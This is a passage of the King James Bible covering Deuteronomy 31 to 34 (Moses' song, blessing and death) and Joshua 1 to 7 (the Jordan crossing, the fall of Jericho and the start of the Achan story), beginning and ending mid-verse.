+thing, may hear, and learn to fear the LORD your God, as long as ye +live in the land whither ye go over Jordan to possess it. + +31:14 And the LORD said unto Moses, Behold, thy days approach that +thou must die: call Joshua, and present yourselves in the tabernacle +of the congregation, that I may give him a charge. And Moses and +Joshua went, and presented themselves in the tabernacle of the +congregation. + +31:15 And the LORD appeared in the tabernacle in a pillar of a cloud: +and the pillar of the cloud stood over the door of the tabernacle. + +31:16 And the LORD said unto Moses, Behold, thou shalt sleep with thy +fathers; and this people will rise up, and go a whoring after the gods +of the strangers of the land, whither they go to be among them, and +will forsake me, and break my covenant which I have made with them. + +31:17 Then my anger shall be kindled against them in that day, and I +will forsake them, and I will hide my face from them, and they shall +be devoured, and many evils and troubles shall befall them; so that +they will say in that day, Are not these evils come upon us, because +our God is not among us? 31:18 And I will surely hide my face in that +day for all the evils which they shall have wrought, in that they are +turned unto other gods. + +31:19 Now therefore write ye this song for you, and teach it the +children of Israel: put it in their mouths, that this song may be a +witness for me against the children of Israel. + +31:20 For when I shall have brought them into the land which I sware +unto their fathers, that floweth with milk and honey; and they shall +have eaten and filled themselves, and waxen fat; then will they turn +unto other gods, and serve them, and provoke me, and break my +covenant. + +31:21 And it shall come to pass, when many evils and troubles are +befallen them, that this song shall testify against them as a witness; +for it shall not be forgotten out of the mouths of their seed: for I +know their imagination which they go about, even now, before I have +brought them into the land which I sware. + +31:22 Moses therefore wrote this song the same day, and taught it the +children of Israel. + +31:23 And he gave Joshua the son of Nun a charge, and said, Be strong +and of a good courage: for thou shalt bring the children of Israel +into the land which I sware unto them: and I will be with thee. + +31:24 And it came to pass, when Moses had made an end of writing the +words of this law in a book, until they were finished, 31:25 That +Moses commanded the Levites, which bare the ark of the covenant of the +LORD, saying, 31:26 Take this book of the law, and put it in the side +of the ark of the covenant of the LORD your God, that it may be there +for a witness against thee. + +31:27 For I know thy rebellion, and thy stiff neck: behold, while I am +yet alive with you this day, ye have been rebellious against the LORD; +and how much more after my death? 31:28 Gather unto me all the elders +of your tribes, and your officers, that I may speak these words in +their ears, and call heaven and earth to record against them. + +31:29 For I know that after my death ye will utterly corrupt +yourselves, and turn aside from the way which I have commanded you; +and evil will befall you in the latter days; because ye will do evil +in the sight of the LORD, to provoke him to anger through the work of +your hands. + +31:30 And Moses spake in the ears of all the congregation of Israel +the words of this song, until they were ended. + +32:1 Give ear, O ye heavens, and I will speak; and hear, O earth, the +words of my mouth. + +32:2 My doctrine shall drop as the rain, my speech shall distil as the +dew, as the small rain upon the tender herb, and as the showers upon +the grass: 32:3 Because I will publish the name of the LORD: ascribe +ye greatness unto our God. + +32:4 He is the Rock, his work is perfect: for all his ways are +judgment: a God of truth and without iniquity, just and right is he. + +32:5 They have corrupted themselves, their spot is not the spot of his +children: they are a perverse and crooked generation. + +32:6 Do ye thus requite the LORD, O foolish people and unwise? is not +he thy father that hath bought thee? hath he not made thee, and +established thee? 32:7 Remember the days of old, consider the years +of many generations: ask thy father, and he will shew thee; thy +elders, and they will tell thee. + +32:8 When the Most High divided to the nations their inheritance, when +he separated the sons of Adam, he set the bounds of the people +according to the number of the children of Israel. + +32:9 For the LORD's portion is his people; Jacob is the lot of his +inheritance. + +32:10 He found him in a desert land, and in the waste howling +wilderness; he led him about, he instructed him, he kept him as the +apple of his eye. + +32:11 As an eagle stirreth up her nest, fluttereth over her young, +spreadeth abroad her wings, taketh them, beareth them on her wings: +32:12 So the LORD alone did lead him, and there was no strange god +with him. + +32:13 He made him ride on the high places of the earth, that he might +eat the increase of the fields; and he made him to suck honey out of +the rock, and oil out of the flinty rock; 32:14 Butter of kine, and +milk of sheep, with fat of lambs, and rams of the breed of Bashan, and +goats, with the fat of kidneys of wheat; and thou didst drink the pure +blood of the grape. + +32:15 But Jeshurun waxed fat, and kicked: thou art waxen fat, thou art +grown thick, thou art covered with fatness; then he forsook God which +made him, and lightly esteemed the Rock of his salvation. + +32:16 They provoked him to jealousy with strange gods, with +abominations provoked they him to anger. + +32:17 They sacrificed unto devils, not to God; to gods whom they knew +not, to new gods that came newly up, whom your fathers feared not. + +32:18 Of the Rock that begat thee thou art unmindful, and hast +forgotten God that formed thee. + +32:19 And when the LORD saw it, he abhorred them, because of the +provoking of his sons, and of his daughters. + +32:20 And he said, I will hide my face from them, I will see what +their end shall be: for they are a very froward generation, children +in whom is no faith. + +32:21 They have moved me to jealousy with that which is not God; they +have provoked me to anger with their vanities: and I will move them to +jealousy with those which are not a people; I will provoke them to +anger with a foolish nation. + +32:22 For a fire is kindled in mine anger, and shall burn unto the +lowest hell, and shall consume the earth with her increase, and set on +fire the foundations of the mountains. + +32:23 I will heap mischiefs upon them; I will spend mine arrows upon +them. + +32:24 They shall be burnt with hunger, and devoured with burning heat, +and with bitter destruction: I will also send the teeth of beasts upon +them, with the poison of serpents of the dust. + +32:25 The sword without, and terror within, shall destroy both the +young man and the virgin, the suckling also with the man of gray +hairs. + +32:26 I said, I would scatter them into corners, I would make the +remembrance of them to cease from among men: 32:27 Were it not that I +feared the wrath of the enemy, lest their adversaries should behave +themselves strangely, and lest they should say, Our hand is high, and +the LORD hath not done all this. + +32:28 For they are a nation void of counsel, neither is there any +understanding in them. + +32:29 O that they were wise, that they understood this, that they +would consider their latter end! 32:30 How should one chase a +thousand, and two put ten thousand to flight, except their Rock had +sold them, and the LORD had shut them up? 32:31 For their rock is not +as our Rock, even our enemies themselves being judges. + +32:32 For their vine is of the vine of Sodom, and of the fields of +Gomorrah: their grapes are grapes of gall, their clusters are bitter: +32:33 Their wine is the poison of dragons, and the cruel venom of +asps. + +32:34 Is not this laid up in store with me, and sealed up among my +treasures? 32:35 To me belongeth vengeance and recompence; their foot +shall slide in due time: for the day of their calamity is at hand, and +the things that shall come upon them make haste. + +32:36 For the LORD shall judge his people, and repent himself for his +servants, when he seeth that their power is gone, and there is none +shut up, or left. + +32:37 And he shall say, Where are their gods, their rock in whom they +trusted, 32:38 Which did eat the fat of their sacrifices, and drank +the wine of their drink offerings? let them rise up and help you, and +be your protection. + +32:39 See now that I, even I, am he, and there is no god with me: I +kill, and I make alive; I wound, and I heal: neither is there any that +can deliver out of my hand. + +32:40 For I lift up my hand to heaven, and say, I live for ever. + +32:41 If I whet my glittering sword, and mine hand take hold on +judgment; I will render vengeance to mine enemies, and will reward +them that hate me. + +32:42 I will make mine arrows drunk with blood, and my sword shall +devour flesh; and that with the blood of the slain and of the +captives, from the beginning of revenges upon the enemy. + +32:43 Rejoice, O ye nations, with his people: for he will avenge the +blood of his servants, and will render vengeance to his adversaries, +and will be merciful unto his land, and to his people. + +32:44 And Moses came and spake all the words of this song in the ears +of the people, he, and Hoshea the son of Nun. + +32:45 And Moses made an end of speaking all these words to all Israel: +32:46 And he said unto them, Set your hearts unto all the words which +I testify among you this day, which ye shall command your children to +observe to do, all the words of this law. + +32:47 For it is not a vain thing for you; because it is your life: and +through this thing ye shall prolong your days in the land, whither ye +go over Jordan to possess it. + +32:48 And the LORD spake unto Moses that selfsame day, saying, 32:49 +Get thee up into this mountain Abarim, unto mount Nebo, which is in +the land of Moab, that is over against Jericho; and behold the land of +Canaan, which I give unto the children of Israel for a possession: +32:50 And die in the mount whither thou goest up, and be gathered unto +thy people; as Aaron thy brother died in mount Hor, and was gathered +unto his people: 32:51 Because ye trespassed against me among the +children of Israel at the waters of MeribahKadesh, in the wilderness +of Zin; because ye sanctified me not in the midst of the children of +Israel. + +32:52 Yet thou shalt see the land before thee; but thou shalt not go +thither unto the land which I give the children of Israel. + +33:1 And this is the blessing, wherewith Moses the man of God blessed +the children of Israel before his death. + +33:2 And he said, The LORD came from Sinai, and rose up from Seir unto +them; he shined forth from mount Paran, and he came with ten thousands +of saints: from his right hand went a fiery law for them. + +33:3 Yea, he loved the people; all his saints are in thy hand: and +they sat down at thy feet; every one shall receive of thy words. + +33:4 Moses commanded us a law, even the inheritance of the +congregation of Jacob. + +33:5 And he was king in Jeshurun, when the heads of the people and the +tribes of Israel were gathered together. + +33:6 Let Reuben live, and not die; and let not his men be few. + +33:7 And this is the blessing of Judah: and he said, Hear, LORD, the +voice of Judah, and bring him unto his people: let his hands be +sufficient for him; and be thou an help to him from his enemies. + +33:8 And of Levi he said, Let thy Thummim and thy Urim be with thy +holy one, whom thou didst prove at Massah, and with whom thou didst +strive at the waters of Meribah; 33:9 Who said unto his father and to +his mother, I have not seen him; neither did he acknowledge his +brethren, nor knew his own children: for they have observed thy word, +and kept thy covenant. + +33:10 They shall teach Jacob thy judgments, and Israel thy law: they +shall put incense before thee, and whole burnt sacrifice upon thine +altar. + +33:11 Bless, LORD, his substance, and accept the work of his hands; +smite through the loins of them that rise against him, and of them +that hate him, that they rise not again. + +33:12 And of Benjamin he said, The beloved of the LORD shall dwell in +safety by him; and the Lord shall cover him all the day long, and he +shall dwell between his shoulders. + +33:13 And of Joseph he said, Blessed of the LORD be his land, for the +precious things of heaven, for the dew, and for the deep that coucheth +beneath, 33:14 And for the precious fruits brought forth by the sun, +and for the precious things put forth by the moon, 33:15 And for the +chief things of the ancient mountains, and for the precious things of +the lasting hills, 33:16 And for the precious things of the earth and +fulness thereof, and for the good will of him that dwelt in the bush: +let the blessing come upon the head of Joseph, and upon the top of the +head of him that was separated from his brethren. + +33:17 His glory is like the firstling of his bullock, and his horns +are like the horns of unicorns: with them he shall push the people +together to the ends of the earth: and they are the ten thousands of +Ephraim, and they are the thousands of Manasseh. + +33:18 And of Zebulun he said, Rejoice, Zebulun, in thy going out; and, +Issachar, in thy tents. + +33:19 They shall call the people unto the mountain; there they shall +offer sacrifices of righteousness: for they shall suck of the +abundance of the seas, and of treasures hid in the sand. + +33:20 And of Gad he said, Blessed be he that enlargeth Gad: he +dwelleth as a lion, and teareth the arm with the crown of the head. + +33:21 And he provided the first part for himself, because there, in a +portion of the lawgiver, was he seated; and he came with the heads of +the people, he executed the justice of the LORD, and his judgments +with Israel. + +33:22 And of Dan he said, Dan is a lion's whelp: he shall leap from +Bashan. + +33:23 And of Naphtali he said, O Naphtali, satisfied with favour, and +full with the blessing of the LORD: possess thou the west and the +south. + +33:24 And of Asher he said, Let Asher be blessed with children; let +him be acceptable to his brethren, and let him dip his foot in oil. + +33:25 Thy shoes shall be iron and brass; and as thy days, so shall thy +strength be. + +33:26 There is none like unto the God of Jeshurun, who rideth upon the +heaven in thy help, and in his excellency on the sky. + +33:27 The eternal God is thy refuge, and underneath are the +everlasting arms: and he shall thrust out the enemy from before thee; +and shall say, Destroy them. + +33:28 Israel then shall dwell in safety alone: the fountain of Jacob +shall be upon a land of corn and wine; also his heavens shall drop +down dew. + +33:29 Happy art thou, O Israel: who is like unto thee, O people saved +by the LORD, the shield of thy help, and who is the sword of thy +excellency! and thine enemies shall be found liars unto thee; and thou +shalt tread upon their high places. + +34:1 And Moses went up from the plains of Moab unto the mountain of +Nebo, to the top of Pisgah, that is over against Jericho. And the LORD +shewed him all the land of Gilead, unto Dan, 34:2 And all Naphtali, +and the land of Ephraim, and Manasseh, and all the land of Judah, unto +the utmost sea, 34:3 And the south, and the plain of the valley of +Jericho, the city of palm trees, unto Zoar. + +34:4 And the LORD said unto him, This is the land which I sware unto +Abraham, unto Isaac, and unto Jacob, saying, I will give it unto thy +seed: I have caused thee to see it with thine eyes, but thou shalt not +go over thither. + +34:5 So Moses the servant of the LORD died there in the land of Moab, +according to the word of the LORD. + +34:6 And he buried him in a valley in the land of Moab, over against +Bethpeor: but no man knoweth of his sepulchre unto this day. + +34:7 And Moses was an hundred and twenty years old when he died: his +eye was not dim, nor his natural force abated. + +34:8 And the children of Israel wept for Moses in the plains of Moab +thirty days: so the days of weeping and mourning for Moses were ended. + +34:9 And Joshua the son of Nun was full of the spirit of wisdom; for +Moses had laid his hands upon him: and the children of Israel +hearkened unto him, and did as the LORD commanded Moses. + +34:10 And there arose not a prophet since in Israel like unto Moses, +whom the LORD knew face to face, 34:11 In all the signs and the +wonders, which the LORD sent him to do in the land of Egypt to +Pharaoh, and to all his servants, and to all his land, 34:12 And in +all that mighty hand, and in all the great terror which Moses shewed +in the sight of all Israel. + + + + +The Book of Joshua + + +1:1 Now after the death of Moses the servant of the LORD it came to +pass, that the LORD spake unto Joshua the son of Nun, Moses' minister, +saying, 1:2 Moses my servant is dead; now therefore arise, go over +this Jordan, thou, and all this people, unto the land which I do give +to them, even to the children of Israel. + +1:3 Every place that the sole of your foot shall tread upon, that have +I given unto you, as I said unto Moses. + +1:4 From the wilderness and this Lebanon even unto the great river, +the river Euphrates, all the land of the Hittites, and unto the great +sea toward the going down of the sun, shall be your coast. + +1:5 There shall not any man be able to stand before thee all the days +of thy life: as I was with Moses, so I will be with thee: I will not +fail thee, nor forsake thee. + +1:6 Be strong and of a good courage: for unto this people shalt thou +divide for an inheritance the land, which I sware unto their fathers +to give them. + +1:7 Only be thou strong and very courageous, that thou mayest observe +to do according to all the law, which Moses my servant commanded thee: +turn not from it to the right hand or to the left, that thou mayest +prosper withersoever thou goest. + +1:8 This book of the law shall not depart out of thy mouth; but thou +shalt meditate therein day and night, that thou mayest observe to do +according to all that is written therein: for then thou shalt make thy +way prosperous, and then thou shalt have good success. + +1:9 Have not I commanded thee? Be strong and of a good courage; be not +afraid, neither be thou dismayed: for the LORD thy God is with thee +whithersoever thou goest. + +1:10 Then Joshua commanded the officers of the people, saying, 1:11 +Pass through the host, and command the people, saying, Prepare you +victuals; for within three days ye shall pass over this Jordan, to go +in to possess the land, which the LORD your God giveth you to possess +it. + +1:12 And to the Reubenites, and to the Gadites, and to half the tribe +of Manasseh, spake Joshua, saying, 1:13 Remember the word which Moses +the servant of the LORD commanded you, saying, The LORD your God hath +given you rest, and hath given you this land. + +1:14 Your wives, your little ones, and your cattle, shall remain in +the land which Moses gave you on this side Jordan; but ye shall pass +before your brethren armed, all the mighty men of valour, and help +them; 1:15 Until the LORD have given your brethren rest, as he hath +given you, and they also have possessed the land which the LORD your +God giveth them: then ye shall return unto the land of your +possession, and enjoy it, which Moses the LORD's servant gave you on +this side Jordan toward the sunrising. + +1:16 And they answered Joshua, saying, All that thou commandest us we +will do, and whithersoever thou sendest us, we will go. + +1:17 According as we hearkened unto Moses in all things, so will we +hearken unto thee: only the LORD thy God be with thee, as he was with +Moses. + +1:18 Whosoever he be that doth rebel against thy commandment, and will +not hearken unto thy words in all that thou commandest him, he shall +be put to death: only be strong and of a good courage. + +2:1 And Joshua the son of Nun sent out of Shittim two men to spy +secretly, saying, Go view the land, even Jericho. And they went, and +came into an harlot's house, named Rahab, and lodged there. + +2:2 And it was told the king of Jericho, saying, Behold, there came +men in hither to night of the children of Israel to search out the +country. + +2:3 And the king of Jericho sent unto Rahab, saying, Bring forth the +men that are come to thee, which are entered into thine house: for +they be come to search out all the country. + +2:4 And the woman took the two men, and hid them, and said thus, There +came men unto me, but I wist not whence they were: 2:5 And it came to +pass about the time of shutting of the gate, when it was dark, that +the men went out: whither the men went I wot not: pursue after them +quickly; for ye shall overtake them. + +2:6 But she had brought them up to the roof of the house, and hid them +with the stalks of flax, which she had laid in order upon the roof. + +2:7 And the men pursued after them the way to Jordan unto the fords: +and as soon as they which pursued after them were gone out, they shut +the gate. + +2:8 And before they were laid down, she came up unto them upon the +roof; 2:9 And she said unto the men, I know that the LORD hath given +you the land, and that your terror is fallen upon us, and that all the +inhabitants of the land faint because of you. + +2:10 For we have heard how the LORD dried up the water of the Red sea +for you, when ye came out of Egypt; and what ye did unto the two kings +of the Amorites, that were on the other side Jordan, Sihon and Og, +whom ye utterly destroyed. + +2:11 And as soon as we had heard these things, our hearts did melt, +neither did there remain any more courage in any man, because of you: +for the LORD your God, he is God in heaven above, and in earth +beneath. + +2:12 Now therefore, I pray you, swear unto me by the LORD, since I +have shewed you kindness, that ye will also shew kindness unto my +father's house, and give me a true token: 2:13 And that ye will save +alive my father, and my mother, and my brethren, and my sisters, and +all that they have, and deliver our lives from death. + +2:14 And the men answered her, Our life for yours, if ye utter not +this our business. And it shall be, when the LORD hath given us the +land, that we will deal kindly and truly with thee. + +2:15 Then she let them down by a cord through the window: for her +house was upon the town wall, and she dwelt upon the wall. + +2:16 And she said unto them, Get you to the mountain, lest the +pursuers meet you; and hide yourselves there three days, until the +pursuers be returned: and afterward may ye go your way. + +2:17 And the men said unto her, We will be blameless of this thine +oath which thou hast made us swear. + +2:18 Behold, when we come into the land, thou shalt bind this line of +scarlet thread in the window which thou didst let us down by: and thou +shalt bring thy father, and thy mother, and thy brethren, and all thy +father's household, home unto thee. + +2:19 And it shall be, that whosoever shall go out of the doors of thy +house into the street, his blood shall be upon his head, and we will +be guiltless: and whosoever shall be with thee in the house, his blood +shall be on our head, if any hand be upon him. + +2:20 And if thou utter this our business, then we will be quit of +thine oath which thou hast made us to swear. + +2:21 And she said, According unto your words, so be it. And she sent +them away, and they departed: and she bound the scarlet line in the +window. + +2:22 And they went, and came unto the mountain, and abode there three +days, until the pursuers were returned: and the pursuers sought them +throughout all the way, but found them not. + +2:23 So the two men returned, and descended from the mountain, and +passed over, and came to Joshua the son of Nun, and told him all +things that befell them: 2:24 And they said unto Joshua, Truly the +LORD hath delivered into our hands all the land; for even all the +inhabitants of the country do faint because of us. + +3:1 And Joshua rose early in the morning; and they removed from +Shittim, and came to Jordan, he and all the children of Israel, and +lodged there before they passed over. + +3:2 And it came to pass after three days, that the officers went +through the host; 3:3 And they commanded the people, saying, When ye +see the ark of the covenant of the LORD your God, and the priests the +Levites bearing it, then ye shall remove from your place, and go after +it. + +3:4 Yet there shall be a space between you and it, about two thousand +cubits by measure: come not near unto it, that ye may know the way by +which ye must go: for ye have not passed this way heretofore. + +3:5 And Joshua said unto the people, Sanctify yourselves: for to +morrow the LORD will do wonders among you. + +3:6 And Joshua spake unto the priests, saying, Take up the ark of the +covenant, and pass over before the people. And they took up the ark of +the covenant, and went before the people. + +3:7 And the LORD said unto Joshua, This day will I begin to magnify +thee in the sight of all Israel, that they may know that, as I was +with Moses, so I will be with thee. + +3:8 And thou shalt command the priests that bear the ark of the +covenant, saying, When ye are come to the brink of the water of +Jordan, ye shall stand still in Jordan. + +3:9 And Joshua said unto the children of Israel, Come hither, and hear +the words of the LORD your God. + +3:10 And Joshua said, Hereby ye shall know that the living God is +among you, and that he will without fail drive out from before you the +Canaanites, and the Hittites, and the Hivites, and the Perizzites, and +the Girgashites, and the Amorites, and the Jebusites. + +3:11 Behold, the ark of the covenant of the LORD of all the earth +passeth over before you into Jordan. + +3:12 Now therefore take you twelve men out of the tribes of Israel, +out of every tribe a man. + +3:13 And it shall come to pass, as soon as the soles of the feet of +the priests that bear the ark of the LORD, the LORD of all the earth, +shall rest in the waters of Jordan, that the waters of Jordan shall be +cut off from the waters that come down from above; and they shall +stand upon an heap. + +3:14 And it came to pass, when the people removed from their tents, to +pass over Jordan, and the priests bearing the ark of the covenant +before the people; 3:15 And as they that bare the ark were come unto +Jordan, and the feet of the priests that bare the ark were dipped in +the brim of the water, (for Jordan overfloweth all his banks all the +time of harvest,) 3:16 That the waters which came down from above +stood and rose up upon an heap very far from the city Adam, that is +beside Zaretan: and those that came down toward the sea of the plain, +even the salt sea, failed, and were cut off: and the people passed +over right against Jericho. + +3:17 And the priests that bare the ark of the covenant of the LORD +stood firm on dry ground in the midst of Jordan, and all the +Israelites passed over on dry ground, until all the people were passed +clean over Jordan. + +4:1 And it came to pass, when all the people were clean passed over +Jordan, that the LORD spake unto Joshua, saying, 4:2 Take you twelve +men out of the people, out of every tribe a man, 4:3 And command ye +them, saying, Take you hence out of the midst of Jordan, out of the +place where the priests' feet stood firm, twelve stones, and ye shall +carry them over with you, and leave them in the lodging place, where +ye shall lodge this night. + +4:4 Then Joshua called the twelve men, whom he had prepared of the +children of Israel, out of every tribe a man: 4:5 And Joshua said unto +them, Pass over before the ark of the LORD your God into the midst of +Jordan, and take you up every man of you a stone upon his shoulder, +according unto the number of the tribes of the children of Israel: 4:6 +That this may be a sign among you, that when your children ask their +fathers in time to come, saying, What mean ye by these stones? 4:7 +Then ye shall answer them, That the waters of Jordan were cut off +before the ark of the covenant of the LORD; when it passed over +Jordan, the waters of Jordan were cut off: and these stones shall be +for a memorial unto the children of Israel for ever. + +4:8 And the children of Israel did so as Joshua commanded, and took up +twelve stones out of the midst of Jordan, as the LORD spake unto +Joshua, according to the number of the tribes of the children of +Israel, and carried them over with them unto the place where they +lodged, and laid them down there. + +4:9 And Joshua set up twelve stones in the midst of Jordan, in the +place where the feet of the priests which bare the ark of the covenant +stood: and they are there unto this day. + +4:10 For the priests which bare the ark stood in the midst of Jordan, +until everything was finished that the LORD commanded Joshua to speak +unto the people, according to all that Moses commanded Joshua: and the +people hasted and passed over. + +4:11 And it came to pass, when all the people were clean passed over, +that the ark of the LORD passed over, and the priests, in the presence +of the people. + +4:12 And the children of Reuben, and the children of Gad, and half the +tribe of Manasseh, passed over armed before the children of Israel, as +Moses spake unto them: 4:13 About forty thousand prepared for war +passed over before the LORD unto battle, to the plains of Jericho. + +4:14 On that day the LORD magnified Joshua in the sight of all Israel; +and they feared him, as they feared Moses, all the days of his life. + +4:15 And the LORD spake unto Joshua, saying, 4:16 Command the priests +that bear the ark of the testimony, that they come up out of Jordan. + +4:17 Joshua therefore commanded the priests, saying, Come ye up out of +Jordan. + +4:18 And it came to pass, when the priests that bare the ark of the +covenant of the LORD were come up out of the midst of Jordan, and the +soles of the priests' feet were lifted up unto the dry land, that the +waters of Jordan returned unto their place, and flowed over all his +banks, as they did before. + +4:19 And the people came up out of Jordan on the tenth day of the +first month, and encamped in Gilgal, in the east border of Jericho. + +4:20 And those twelve stones, which they took out of Jordan, did +Joshua pitch in Gilgal. + +4:21 And he spake unto the children of Israel, saying, When your +children shall ask their fathers in time to come, saying, What mean +these stones? 4:22 Then ye shall let your children know, saying, +Israel came over this Jordan on dry land. + +4:23 For the LORD your God dried up the waters of Jordan from before +you, until ye were passed over, as the LORD your God did to the Red +sea, which he dried up from before us, until we were gone over: 4:24 +That all the people of the earth might know the hand of the LORD, that +it is mighty: that ye might fear the LORD your God for ever. + +5:1 And it came to pass, when all the kings of the Amorites, which +were on the side of Jordan westward, and all the kings of the +Canaanites, which were by the sea, heard that the LORD had dried up +the waters of Jordan from before the children of Israel, until we were +passed over, that their heart melted, neither was there spirit in them +any more, because of the children of Israel. + +5:2 At that time the LORD said unto Joshua, Make thee sharp knives, +and circumcise again the children of Israel the second time. + +5:3 And Joshua made him sharp knives, and circumcised the children of +Israel at the hill of the foreskins. + +5:4 And this is the cause why Joshua did circumcise: All the people +that came out of Egypt, that were males, even all the men of war, died +in the wilderness by the way, after they came out of Egypt. + +5:5 Now all the people that came out were circumcised: but all the +people that were born in the wilderness by the way as they came forth +out of Egypt, them they had not circumcised. + +5:6 For the children of Israel walked forty years in the wilderness, +till all the people that were men of war, which came out of Egypt, +were consumed, because they obeyed not the voice of the LORD: unto +whom the LORD sware that he would not shew them the land, which the +LORD sware unto their fathers that he would give us, a land that +floweth with milk and honey. + +5:7 And their children, whom he raised up in their stead, them Joshua +circumcised: for they were uncircumcised, because they had not +circumcised them by the way. + +5:8 And it came to pass, when they had done circumcising all the +people, that they abode in their places in the camp, till they were +whole. + +5:9 And the LORD said unto Joshua, This day have I rolled away the +reproach of Egypt from off you. Wherefore the name of the place is +called Gilgal unto this day. + +5:10 And the children of Israel encamped in Gilgal, and kept the +passover on the fourteenth day of the month at even in the plains of +Jericho. + +5:11 And they did eat of the old corn of the land on the morrow after +the passover, unleavened cakes, and parched corn in the selfsame day. + +5:12 And the manna ceased on the morrow after they had eaten of the +old corn of the land; neither had the children of Israel manna any +more; but they did eat of the fruit of the land of Canaan that year. + +5:13 And it came to pass, when Joshua was by Jericho, that he lifted +up his eyes and looked, and, behold, there stood a man over against +him with his sword drawn in his hand: and Joshua went unto him, and +said unto him, Art thou for us, or for our adversaries? 5:14 And he +said, Nay; but as captain of the host of the LORD am I now come. And +Joshua fell on his face to the earth, and did worship, and said unto +him, What saith my Lord unto his servant? 5:15 And the captain of the +LORD's host said unto Joshua, Loose thy shoe from off thy foot; for +the place whereon thou standest is holy. And Joshua did so. + +6:1 Now Jericho was straitly shut up because of the children of +Israel: none went out, and none came in. + +6:2 And the LORD said unto Joshua, See, I have given into thine hand +Jericho, and the king thereof, and the mighty men of valour. + +6:3 And ye shall compass the city, all ye men of war, and go round +about the city once. Thus shalt thou do six days. + +6:4 And seven priests shall bear before the ark seven trumpets of +rams' horns: and the seventh day ye shall compass the city seven +times, and the priests shall blow with the trumpets. + +6:5 And it shall come to pass, that when they make a long blast with +the ram's horn, and when ye hear the sound of the trumpet, all the +people shall shout with a great shout; and the wall of the city shall +fall down flat, and the people shall ascend up every man straight +before him. + +6:6 And Joshua the son of Nun called the priests, and said unto them, +Take up the ark of the covenant, and let seven priests bear seven +trumpets of rams' horns before the ark of the LORD. + +6:7 And he said unto the people, Pass on, and compass the city, and +let him that is armed pass on before the ark of the LORD. + +6:8 And it came to pass, when Joshua had spoken unto the people, that +the seven priests bearing the seven trumpets of rams' horns passed on +before the LORD, and blew with the trumpets: and the ark of the +covenant of the LORD followed them. + +6:9 And the armed men went before the priests that blew with the +trumpets, and the rereward came after the ark, the priests going on, +and blowing with the trumpets. + +6:10 And Joshua had commanded the people, saying, Ye shall not shout, +nor make any noise with your voice, neither shall any word proceed out +of your mouth, until the day I bid you shout; then shall ye shout. + +6:11 So the ark of the LORD compassed the city, going about it once: +and they came into the camp, and lodged in the camp. + +6:12 And Joshua rose early in the morning, and the priests took up the +ark of the LORD. + +6:13 And seven priests bearing seven trumpets of rams' horns before +the ark of the LORD went on continually, and blew with the trumpets: +and the armed men went before them; but the rereward came after the +ark of the LORD, the priests going on, and blowing with the trumpets. + +6:14 And the second day they compassed the city once, and returned +into the camp: so they did six days. + +6:15 And it came to pass on the seventh day, that they rose early +about the dawning of the day, and compassed the city after the same +manner seven times: only on that day they compassed the city seven +times. + +6:16 And it came to pass at the seventh time, when the priests blew +with the trumpets, Joshua said unto the people, Shout; for the LORD +hath given you the city. + +6:17 And the city shall be accursed, even it, and all that are +therein, to the LORD: only Rahab the harlot shall live, she and all +that are with her in the house, because she hid the messengers that we +sent. + +6:18 And ye, in any wise keep yourselves from the accursed thing, lest +ye make yourselves accursed, when ye take of the accursed thing, and +make the camp of Israel a curse, and trouble it. + +6:19 But all the silver, and gold, and vessels of brass and iron, are +consecrated unto the LORD: they shall come into the treasury of the +LORD. + +6:20 So the people shouted when the priests blew with the trumpets: +and it came to pass, when the people heard the sound of the trumpet, +and the people shouted with a great shout, that the wall fell down +flat, so that the people went up into the city, every man straight +before him, and they took the city. + +6:21 And they utterly destroyed all that was in the city, both man and +woman, young and old, and ox, and sheep, and ass, with the edge of the +sword. + +6:22 But Joshua had said unto the two men that had spied out the +country, Go into the harlot's house, and bring out thence the woman, +and all that she hath, as ye sware unto her. + +6:23 And the young men that were spies went in, and brought out Rahab, +and her father, and her mother, and her brethren, and all that she +had; and they brought out all her kindred, and left them without the +camp of Israel. + +6:24 And they burnt the city with fire, and all that was therein: only +the silver, and the gold, and the vessels of brass and of iron, they +put into the treasury of the house of the LORD. + +6:25 And Joshua saved Rahab the harlot alive, and her father's +household, and all that she had; and she dwelleth in Israel even unto +this day; because she hid the messengers, which Joshua sent to spy out +Jericho. + +6:26 And Joshua adjured them at that time, saying, Cursed be the man +before the LORD, that riseth up and buildeth this city Jericho: he +shall lay the foundation thereof in his firstborn, and in his youngest +son shall he set up the gates of it. + +6:27 So the LORD was with Joshua; and his fame was noised throughout +all the country. + +7:1 But the children of Israel committed a trespass in the accursed +thing: for Achan, the son of Carmi, the son of Zabdi, the son of +Zerah, of the tribe of Judah, took of the accursed thing: and the +anger of the LORD was kindled against the children of Israel. + +7:2 And Joshua sent men from Jericho to Ai, which is beside Bethaven, +on the east of Bethel, and spake unto them, saying, Go up and view the +country. + +And the men went up and viewed Ai. + +7:3 And they returned to Joshua, and said unto him, Let not all the +people go up; but let about two or three thousand men go up and smite +Ai; and make not all the people to labour thither; for they are but +few. + +7:4 So there went up thither of the people about three thousand men: +and they fled before the men of Ai. + +7:5 And the men of Ai smote of them about thirty and six men: for they +chased them from before the gate even unto Shebarim, and smote them in +the going down: wherefore the hearts of the people melted, and became +as water. + +7:6 And Joshua rent his clothes, and fell to the earth upon his face +before the ark of the LORD until the eventide, he and the elders of +Israel, and put dust upon their heads. + +7:7 And Joshua said, Alas, O LORD God, wherefore hast thou at all +brought this people over Jordan, to deliver us into the hand of the +Amorites, to destroy us? would to God we had been content, and dwelt +on the other side Jordan! 7:8 O LORD, what shall I say, when Israel +turneth their backs before their enemies! 7:9 For the Canaanites and +all the inhabitants of the land shall hear of it, and shall environ us +round, and cut off our name from the earth: and what wilt thou do unto +thy great name? 7:10 And the LORD said unto Joshua, Get thee up; +wherefore liest thou thus upon thy face? 7:11 Israel hath sinned, and +they have also transgressed my covenant which I commanded them: for +they have even taken of the accursed thing, and have also stolen, and +dissembled also, and they have put it even among their own stuff. + +7:12 Therefore the children of Israel could not stand before their +enemies, but turned their backs before their enemies, because they +were accursed: neither will I be with you any more, except ye destroy +the accursed from among you. + +7:13 Up, sanctify the people, and say, Sanctify yourselves against to +morrow: for thus saith the LORD God of Israel, There is an accursed +thing in the midst of thee, O Israel: thou canst not stand before +thine enemies, until ye take away the accursed thing from among you. + +7:14 In the morning therefore ye shall be brought according to your +tribes: and it shall be, that the tribe which the LORD taketh shall +come according to the families thereof; and the family which the LORD +shall take shall come by households; and the household which the LORD +shall take shall come man by man. + +7:15 And it shall be, that he that is taken with the accursed thing +shall be burnt with fire, he and all that he hath: because he hath +transgressed the covenant of the LORD, and because he hath wrought +folly in Israel. + +7:16 So Joshua rose up early in the morning, and brought Israel by +their tribes; and the tribe of Judah was taken: 